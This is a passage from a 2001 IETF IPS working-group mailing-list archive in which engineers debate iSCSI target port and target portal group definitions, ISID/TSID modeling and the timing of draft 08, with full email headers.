2001 Message-ID: From: "Julian Satran" Date: Fri, 14 Sep 2001 15:32:39 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 14/09/2001 15:33:36 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Dear colleagues, We will have to postpone 08 by several days (unexpected long travel times and a bit hard to concentrate). There are 2 things open: recovery levels - please help us (Mallikarjun) with any feedback you can. the raging ISID/TSID debate I guess we will conclude the first before 08. I doubt we settle the second before 08 but its effect on the standard and current implementations is limited although it might marginally affect the way hardware adapters and hosts (initiators and targets) cooperate. I will read and answer pending mail by the beginning of next week. The broken link on states is repaired (I hope). Julo From owner-ips@ece.cmu.edu Fri Sep 14 12:14:11 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21081 for ; Fri, 14 Sep 2001 12:14:11 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EEYAV19083 for ips-outgoing; Fri, 14 Sep 2001 10:34:10 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from hoemail1.firewall.lucent.com (hoemail1.lucent.com [192.11.226.161]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EEY8P19079 for ; Fri, 14 Sep 2001 10:34:09 -0400 (EDT) Received: from nc8220exchange.ral.lucent.com (h135-92-100-21.lucent.com [135.92.100.21]) by hoemail1.firewall.lucent.com (Switch-2.1.3/Switch-2.1.0) with ESMTP id f8EEY2T07466 for ; Fri, 14 Sep 2001 10:34:02 -0400 (EDT) X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0 Content-Class: urn:content-classes:message Subject: IPS ALL: David Black without email access MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Date: Fri, 14 Sep 2001 10:34:01 -0400 Message-ID: <9410A0F67DFE7F4D998D453823649836040874@nc8220exchange.ral.lucent.com> Thread-Topic: IPS ALL: David Black without email access Thread-Index: AcE9KreUPjXFe45OTsqoNmcbZ9W4cg== From: "Elizabeth Rodriguez" To: "IPS Mailing List (E-mail)" Cc: "David Black (E-mail)" , "Allison Mankin (E-mail)" , "Scott Bradner (E-mail)" Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by ece.cmu.edu id f8EEY9P19080 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 8bit Hello all, I received a message from David Black, requesting that I let everyone know that he is without email access right now. He is uncertain when he will regain email access. David is safe, but is out of the country right now, and is having difficultly returning to the US, due to the incidents which have occurred here in the states. He does not believe that he will be able to regain email access, for a variety of reasons, until he returns to the US. Thanks, Elizabeth From owner-ips@ece.cmu.edu Fri Sep 14 12:27:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA21334 for ; Fri, 14 Sep 2001 12:27:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EF6aI21900 for ips-outgoing; Fri, 14 Sep 2001 11:06:36 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EF6YP21894 for ; Fri, 14 Sep 2001 11:06:34 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id LAA28760; Fri, 14 Sep 2001 11:03:14 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8EF5LR62048; Fri, 14 Sep 2001 09:05:21 -0600 Importance: Normal Subject: Re: iscsi : target port definition To: Santosh Rao , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 14 Sep 2001 08:05:20 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/14/2001 08:05:21 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Santosh, There are many alternatives here, but I think the simplest is to establish multiple sessions to the one target portal group. Each session can connect to one, some or all of the target ipaddresses in the portal group, so you have a lot of flexibility. What you see then in the wedge driver is multiple "SCSI Initiator Ports" in the host connecting to one SCSI Target Port. That should be sufficient for the multipathing logic. So, it's many to one, not one to many. Note that according to the model in -08, if there were more than one target portal group, you could see two different things, depending on how you implemented your host. You could have an "implementation" of one host SCSI Initiator Port connecting to multiple SCSI Target Ports if you used the same ISID for all those sessions. Or you could have an implementation of multipel SCSI Initiator Ports connecting in arbitrary ways to the multiple SCSI Target Ports if you used a set of ISIDs. In other words, the reuse of an ISID to a different target portal group implies a one to many setup. And you can overlay lots of one-to-many (or one-to-one) sessions as you enable different ISIDs. In other words, the "many" SCSI Initator Ports are based on multiple use of ISIDs and multiple SCSI Target Ports are based on multiple target portal groups as advertised by the target. On the other hand, there is no requirement of the target that if advertise itself as having only one target portal group, even if it was capable. It can subdivide its ipaddress space in any way it wants. A high end target with many many ip interfaces will probably do that. Additionally, any truly high end target (in the long term) will have many iSCSI HBAs (most likely) each functioning as a target portal group and you'd see this modeling FC (at the target side) closer. There might be other reasons besides multiple iSCSI HBA configuration for the target to advertise multiple target portal groups. The SCSI Asymmetric Port behavior for controllers in particular (for failover, primary pathing, etc.) can take advantage of that kind of structure. You may have a dual-headed controller each with independent power supplies. They might have enough coordination to run sessions across all of them, but it might make more sense to separate them. [Give me more time and I can probably come up with lots of other reasons too...] The model then is flexible enough to handle arbitrary software implementations using arbitrary network or TCP hardware cards as well as any implementations of iSCSI HBAs or any combination of the two. And that's true on both the initiator and the target side. Jim Hafner Santosh Rao @ece.cmu.edu on 09/13/2001 05:37:45 pm Sent by: owner-ips@ece.cmu.edu To: IPS Reflector cc: Subject: iscsi : target port definition Hello, I have a question on the interpretation of the iscsi target port definition. The iscsi rev 08 defines the iscsi target port to map to an iscsi target portal group. Thus, any iscsi target that wishes to allow multiple SCSI paths to be established to the target node MUST provide at least 2 iscsi target portal groups. The above definition of an iscsi target port somewhat alters the semantics of a target portal group. A target portal group, by definition, is a collection of a set of network portals within the target across which a session can be spanned. Thus, if a target supports a multi-connection session spanning across all its network portals, such a target would use a single target portal group to indicate that 1 big fat session pipe could be established to all its network portals. This, in turn, would have the side effect of only providing 1 scsi path to the upper layer wedge drivers, if the iscsi initiators establish a session per target portal group. [which is the target port]. From an initiator's perspective, what should be the target side end-point of an initiator's sessions when it may need to support upper layer wedge drivers ? Should the initiator establish a session per target portal group [, in which case the above issue exists] ? Or, should it establish a session per TargetAddress ?? Regards, Santosh From owner-ips@ece.cmu.edu Fri Sep 14 14:31:54 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24173 for ; Fri, 14 Sep 2001 14:31:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EGorj29838 for ips-outgoing; Fri, 14 Sep 2001 12:50:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EGonP29830 for ; Fri, 14 Sep 2001 12:50:49 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNK7P; Fri, 14 Sep 2001 12:50:39 -0400 Reply-To: From: "Eddy Quicksall" To: "'Santosh Rao'" , "'IPS Reflector'" Subject: RE: iscsi : target port definition Date: Fri, 14 Sep 2001 12:50:33 -0400 Message-ID: <001d01c13d3d$5f347fa0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal In-Reply-To: <3BA15158.313CECF5@cup.hp.com> X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit They way I see it is the Target Portal Group is a way for target administrators to logically group things so the initiator knows which addresses:ports to use when establishing a nexus. Isn't that the main purpose? Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 13, 2001 8:38 PM To: IPS Reflector Subject: iscsi : target port definition Hello, I have a question on the interpretation of the iscsi target port definition. The iscsi rev 08 defines the iscsi target port to map to an iscsi target portal group. Thus, any iscsi target that wishes to allow multiple SCSI paths to be established to the target node MUST provide at least 2 iscsi target portal groups. The above definition of an iscsi target port somewhat alters the semantics of a target portal group. A target portal group, by definition, is a collection of a set of network portals within the target across which a session can be spanned. Thus, if a target supports a multi-connection session spanning across all its network portals, such a target would use a single target portal group to indicate that 1 big fat session pipe could be established to all its network portals. This, in turn, would have the side effect of only providing 1 scsi path to the upper layer wedge drivers, if the iscsi initiators establish a session per target portal group. [which is the target port]. From an initiator's perspective, what should be the target side end-point of an initiator's sessions when it may need to support upper layer wedge drivers ? Should the initiator establish a session per target portal group [, in which case the above issue exists] ? Or, should it establish a session per TargetAddress ?? Regards, Santosh From owner-ips@ece.cmu.edu Fri Sep 14 14:40:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA24338 for ; Fri, 14 Sep 2001 14:40:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EGcYv29009 for ips-outgoing; Fri, 14 Sep 2001 12:38:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EGcVP29003 for ; Fri, 14 Sep 2001 12:38:31 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNK72; Fri, 14 Sep 2001 12:38:24 -0400 Reply-To: From: "Eddy Quicksall" To: Subject: iSCSI: DataPDUOrder name change suggestion Date: Fri, 14 Sep 2001 12:38:14 -0400 Message-ID: <001c01c13d3b$a7a04d70$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.3018.1300 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit May I suggest changing DataPDUOrder to DataPDUInOrder so the semantics would be more logical? e.g. DataPDUOrder=yes doesn't mean much and is hard to remember what it means but DataPDUInOrder=yes is clear. Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Fri Sep 14 15:54:23 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25527 for ; Fri, 14 Sep 2001 15:54:22 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EHHEx01641 for ips-outgoing; Fri, 14 Sep 2001 13:17:14 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e34.bld.us.ibm.com (e34.co.us.ibm.com [32.97.110.132]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EHH9P01631 for ; Fri, 14 Sep 2001 13:17:09 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e34.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id NAA47342; Fri, 14 Sep 2001 13:14:51 -0400 Received: from d03nm042.boulder.ibm.com (d03nm042.boulder.ibm.com [9.99.140.42]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8EHH8R180386; Fri, 14 Sep 2001 11:17:08 -0600 Importance: Normal Subject: RE: iscsi : target port definition To: , ips@ece.cmu.edu From: "Jim Hafner" Date: Fri, 14 Sep 2001 10:17:06 -0700 Message-ID: X-MIMETrack: Serialize by Router on D03NM042/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/14/2001 10:17:07 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Eddy, That certainly fits within the scope of what I described. However, I don't think that's the "main purpose". As I understand it, the whole notion of target portal group was suggested to enable HW implementations with multiple iSCSI HBAs that (a) had multiple network interfaces/nics (b) could coordinate sessions across the network interfaces *within their own HBA* but (c) didn't have an additional (complex) software layer that could coordinate sessions across HBAs. In that case, we wanted a simple way to describe to the initiator (in SendTargets), that even though this target may have 4 ipaddress/tcpports available, they only work in pairs (say) as far as multi-connection sessions (one pair of addresses per HBA). That information would help the initiator from generating a lot of failed "add this connection to existing session" requests. This model turned out to have additional value in the SCSI modeling, so we took advantage of it. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/14/2001 09:50:33 am Please respond to Sent by: owner-ips@ece.cmu.edu To: "'Santosh Rao'" , "'IPS Reflector'" cc: Subject: RE: iscsi : target port definition They way I see it is the Target Portal Group is a way for target administrators to logically group things so the initiator knows which addresses:ports to use when establishing a nexus. Isn't that the main purpose? Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 13, 2001 8:38 PM To: IPS Reflector Subject: iscsi : target port definition Hello, I have a question on the interpretation of the iscsi target port definition. The iscsi rev 08 defines the iscsi target port to map to an iscsi target portal group. Thus, any iscsi target that wishes to allow multiple SCSI paths to be established to the target node MUST provide at least 2 iscsi target portal groups. The above definition of an iscsi target port somewhat alters the semantics of a target portal group. A target portal group, by definition, is a collection of a set of network portals within the target across which a session can be spanned. Thus, if a target supports a multi-connection session spanning across all its network portals, such a target would use a single target portal group to indicate that 1 big fat session pipe could be established to all its network portals. This, in turn, would have the side effect of only providing 1 scsi path to the upper layer wedge drivers, if the iscsi initiators establish a session per target portal group. [which is the target port]. From an initiator's perspective, what should be the target side end-point of an initiator's sessions when it may need to support upper layer wedge drivers ? Should the initiator establish a session per target portal group [, in which case the above issue exists] ? Or, should it establish a session per TargetAddress ?? Regards, Santosh From owner-ips@ece.cmu.edu Fri Sep 14 15:59:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA25596 for ; Fri, 14 Sep 2001 15:59:47 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EHhXB03420 for ips-outgoing; Fri, 14 Sep 2001 13:43:33 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EHhRP03404 for ; Fri, 14 Sep 2001 13:43:27 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id C40D81F93C; Fri, 14 Sep 2001 10:43:15 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA24671; Fri, 14 Sep 2001 10:43:10 -0700 (PDT) Message-ID: <3BA2431D.BC20E76F@cup.hp.com> Date: Fri, 14 Sep 2001 10:49:18 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Jim Hafner Cc: ips@ece.cmu.edu Subject: Re: iscsi : target port definition References: Content-Type: multipart/mixed; boundary="------------03D43E675D4D48E50C1AEB6D" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------03D43E675D4D48E50C1AEB6D Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Jim, I agree with your below ideas. However, they do appear to conflict with the iscsi rev 08 definition of the I-T nexus in Section 1.5.2 which reads : " c) I_T nexus - According to [SAM2], the I_T nexus is a relationship between a SCSI Initiator Port and a SCSI Target Port. For iSCSI, this relationship is a session, defined as a relationship between an iSCSI Initiator's end of the session (SCSI Initiator Port) and the iSCSI Target's Portal Group. The I_T nexus can be identified by the conjunction of the SCSI port names; that is, the I_T nexus identifier is the tuple (iSCSI Initiator Name + 'i'+ ISID, iSCSI Target Name + 't'+ Portal Group Tag). NOTE: The I_T nexus identifier is not equal to the session identifier (SSID). " Per the above definition, the I-T nexus target end point is that target portal group, which is not the case when initiators choose to establish I-T nexi (sessions) to subsets of the target portal group, in order to export multiple scsi paths to upper layer wedge drivers. Further, initiators that establish sessions to a subset of the target portal group would not be able to take advantage of initiator specific mode page implementations on the target. All the I-T nexi (sessions) established by seperate initiator ports to a given target portal group would always share the same mode pages, since the target mode pages would be implemented on a per target portal group basis. Do you see any reasons why the definition of a target port should not be symmetric with the definition of the initiator port ? i.e. (iscsi target name + TSID) = target port. (= both port name & port identifier). This would more accurately model the target port to be the end point of the I-T nexus (session). Regards, Santosh Jim Hafner wrote: > Santosh, > > There are many alternatives here, but I think the simplest is to establish > multiple sessions to the one target portal group. Each session can connect > to one, some or all of the target ipaddresses in the portal group, so you > have a lot of flexibility. What you see then in the wedge driver is > multiple "SCSI Initiator Ports" in the host connecting to one SCSI Target > Port. That should be sufficient for the multipathing logic. So, it's > many to one, not one to many. > > Note that according to the model in -08, if there were more than one target > portal group, you could see two different things, depending on how you > implemented your host. You could have an "implementation" of one host SCSI > Initiator Port connecting to multiple SCSI Target Ports if you used the > same ISID for all those sessions. Or you could have an implementation of > multipel SCSI Initiator Ports connecting in arbitrary ways to the multiple > SCSI Target Ports if you used a set of ISIDs. In other words, the reuse of > an ISID to a different target portal group implies a one to many setup. > And you can overlay lots of one-to-many (or one-to-one) sessions as you > enable different ISIDs. In other words, the "many" SCSI Initator Ports are > based on multiple use of ISIDs and multiple SCSI Target Ports are based on > multiple target portal groups as advertised by the target. > > On the other hand, there is no requirement of the target that if advertise > itself as having only one target portal group, even if it was capable. It > can subdivide its ipaddress space in any way it wants. A high end target > with many many ip interfaces will probably do that. Additionally, any > truly high end target (in the long term) will have many iSCSI HBAs (most > likely) each functioning as a target portal group and you'd see this > modeling FC (at the target side) closer. > > There might be other reasons besides multiple iSCSI HBA configuration for > the target to advertise multiple target portal groups. The SCSI Asymmetric > Port behavior for controllers in particular (for failover, primary pathing, > etc.) can take advantage of that kind of structure. You may have a > dual-headed controller each with independent power supplies. They might > have enough coordination to run sessions across all of them, but it might > make more sense to separate them. [Give me more time and I can probably > come up with lots of other reasons too...] > > The model then is flexible enough to handle arbitrary software > implementations using arbitrary network or TCP hardware cards as well as > any implementations of iSCSI HBAs or any combination of the two. And that's > true on both the initiator and the target side. > > Jim Hafner > > Santosh Rao @ece.cmu.edu on 09/13/2001 05:37:45 pm > > Sent by: owner-ips@ece.cmu.edu > > To: IPS Reflector > cc: > Subject: iscsi : target port definition > > Hello, > > I have a question on the interpretation of the iscsi target port > definition. The iscsi rev 08 defines the iscsi target port to map to an > iscsi target portal group. > > Thus, any iscsi target that wishes to allow multiple SCSI paths to be > established to the target node MUST provide at least 2 iscsi target > portal groups. > > The above definition of an iscsi target port somewhat alters the > semantics of a target portal group. A target portal group, by > definition, is a collection of a set of network portals within the > target across which a session can be spanned. > > Thus, if a target supports a multi-connection session spanning across > all its network portals, such a target would use a single target portal > group to indicate that 1 big fat session pipe could be established to > all its network portals. This, in turn, would have the side effect of > only providing 1 scsi path to the upper layer wedge drivers, if the > iscsi initiators establish a session per target portal group. [which is > the target port]. > > >From an initiator's perspective, what should be the target side > end-point of an initiator's sessions when it may need to support upper > layer wedge drivers ? Should the initiator establish a session per > target > portal group [, in which case the above issue exists] ? Or, should it > establish a session per TargetAddress ?? > > Regards, > Santosh --------------03D43E675D4D48E50C1AEB6D Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------03D43E675D4D48E50C1AEB6D-- From owner-ips@ece.cmu.edu Fri Sep 14 17:27:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA26772 for ; Fri, 14 Sep 2001 17:27:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EJb1211832 for ips-outgoing; Fri, 14 Sep 2001 15:37:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EJasP11815 for ; Fri, 14 Sep 2001 15:36:54 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA72560; Fri, 14 Sep 2001 15:34:15 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.98) with ESMTP id f8EJaVR85302; Fri, 14 Sep 2001 13:36:31 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iscsi : target port definition To: ips@ece.cmu.edu Cc: , "Jim Hafner" X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Fri, 14 Sep 2001 12:35:27 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/14/2001 01:36:31 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk What Jim said is correct, however, there will also be HBAs that know how to coordinate their Multi Connection Sessions across Multiple HBAs. However, there may still be a limit to the number of such HBAs that are supported, like that, in a single iSCSI Target Device (like a Max of 8 HBAs working together etc.). Or there might be other reasons not to make the whole unit into a single Portal Group. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Jim Hafner/Almaden/IBM@IBMUS@ece.cmu.edu on 09/14/2001 10:17:06 AM Sent by: owner-ips@ece.cmu.edu To: , ips@ece.cmu.edu cc: Subject: RE: iscsi : target port definition Eddy, That certainly fits within the scope of what I described. However, I don't think that's the "main purpose". As I understand it, the whole notion of target portal group was suggested to enable HW implementations with multiple iSCSI HBAs that (a) had multiple network interfaces/nics (b) could coordinate sessions across the network interfaces *within their own HBA* but (c) didn't have an additional (complex) software layer that could coordinate sessions across HBAs. In that case, we wanted a simple way to describe to the initiator (in SendTargets), that even though this target may have 4 ipaddress/tcpports available, they only work in pairs (say) as far as multi-connection sessions (one pair of addresses per HBA). That information would help the initiator from generating a lot of failed "add this connection to existing session" requests. This model turned out to have additional value in the SCSI modeling, so we took advantage of it. Jim Hafner "Eddy Quicksall" @ece.cmu.edu on 09/14/2001 09:50:33 am Please respond to Sent by: owner-ips@ece.cmu.edu To: "'Santosh Rao'" , "'IPS Reflector'" cc: Subject: RE: iscsi : target port definition They way I see it is the Target Portal Group is a way for target administrators to logically group things so the initiator knows which addresses:ports to use when establishing a nexus. Isn't that the main purpose? Eddy -----Original Message----- From: Santosh Rao [mailto:santoshr@cup.hp.com] Sent: Thursday, September 13, 2001 8:38 PM To: IPS Reflector Subject: iscsi : target port definition Hello, I have a question on the interpretation of the iscsi target port definition. The iscsi rev 08 defines the iscsi target port to map to an iscsi target portal group. Thus, any iscsi target that wishes to allow multiple SCSI paths to be established to the target node MUST provide at least 2 iscsi target portal groups. The above definition of an iscsi target port somewhat alters the semantics of a target portal group. A target portal group, by definition, is a collection of a set of network portals within the target across which a session can be spanned. Thus, if a target supports a multi-connection session spanning across all its network portals, such a target would use a single target portal group to indicate that 1 big fat session pipe could be established to all its network portals. This, in turn, would have the side effect of only providing 1 scsi path to the upper layer wedge drivers, if the iscsi initiators establish a session per target portal group. [which is the target port]. From an initiator's perspective, what should be the target side end-point of an initiator's sessions when it may need to support upper layer wedge drivers ? Should the initiator establish a session per target portal group [, in which case the above issue exists] ? Or, should it establish a session per TargetAddress ?? Regards, Santosh From owner-ips@ece.cmu.edu Fri Sep 14 17:45:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA26963 for ; Fri, 14 Sep 2001 17:45:08 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EK6Q413995 for ips-outgoing; Fri, 14 Sep 2001 16:06:26 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EK6NP13989 for ; Fri, 14 Sep 2001 16:06:23 -0400 (EDT) Received: from xatlrelay2.atl.hp.com (xatlrelay2.atl.hp.com [15.45.89.191]) by atlrel6.hp.com (Postfix) with ESMTP id BA43A1F822; Fri, 14 Sep 2001 16:06:10 -0400 (EDT) Received: from xatlbh3.atl.hp.com (xatlbh3.atl.hp.com [15.45.89.188]) by xatlrelay2.atl.hp.com (Postfix) with ESMTP id 91C601F516; Fri, 14 Sep 2001 16:06:06 -0400 (EDT) Received: by xatlbh3.atl.hp.com with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Sep 2001 16:06:06 -0400 Message-ID: <6BD67FFB937FD411A04F00D0B74FE87805CCF0F9@xrose06.rose.hp.com> From: "KRUEGER,MARJORIE (HP-Roseville,ex1)" To: "'Santosh Rao'" , Jim Hafner Cc: ips@ece.cmu.edu Subject: RE: iscsi : target port definition Date: Fri, 14 Sep 2001 16:05:16 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk > Per the above definition, the I-T nexus target end point is that target portal > group, which is not the case when initiators choose to establish I-T nexi > (sessions) to subsets of the target portal group, in order to export multiple > scsi paths to upper layer wedge drivers. I think Jim is suggesting that the initiator would have to establish two "SCSI initiator ports" to the same target portal group, which would translate to two different ISIDs for this SCSI initiator node. How does that conflict with this definition? Upper layer wedge drivers shouldn't know the difference between two separate initiator ports providing the multiple paths or one initiator port connecting to two different target ports, right? > Do you see any reasons why the definition of a target port should not be > symmetric with the definition of the initiator port ? i.e. (iscsi target name > + TSID) = target port. (= both port name & port identifier). This would more > accurately model the target port to be the end point of the I-T nexus (session). Of course there are a number of combinations of possibilities for defining what comprises the SCSI port within iSCSI. Initially the model did specify TSID as part of the target port identifier, but this seemed to create more "rules" to enforce at the target side (more restrictive than necessary) and the benefits of TSID vs target portal group were not compelling. The idea of target portal group as the target port endpoint seemed to provide the necessary protection (against parallel nexus, etc) with the least amount of enforcement rules. Marj From owner-ips@ece.cmu.edu Fri Sep 14 18:20:24 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA27343 for ; Fri, 14 Sep 2001 18:20:24 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8EKOL915194 for ips-outgoing; Fri, 14 Sep 2001 16:24:21 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8EKOIP15189 for ; Fri, 14 Sep 2001 16:24:18 -0400 (EDT) Received: from EDDYLAPTOP ([192.168.1.245]) by mail.ivivity.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id QMJCNK03; Fri, 14 Sep 2001 16:24:04 -0400 Reply-To: From: "Eddy Quicksall" To: "'Santosh Rao'" , "Jim Hafner" Cc: Subject: RE: iscsi : target port definition Date: Fri, 14 Sep 2001 16:23:56 -0400 Message-ID: <000101c13d5b$2eade0b0$f501a8c0@eddylaptop> MIME-Version: 1.0 Content-Type: 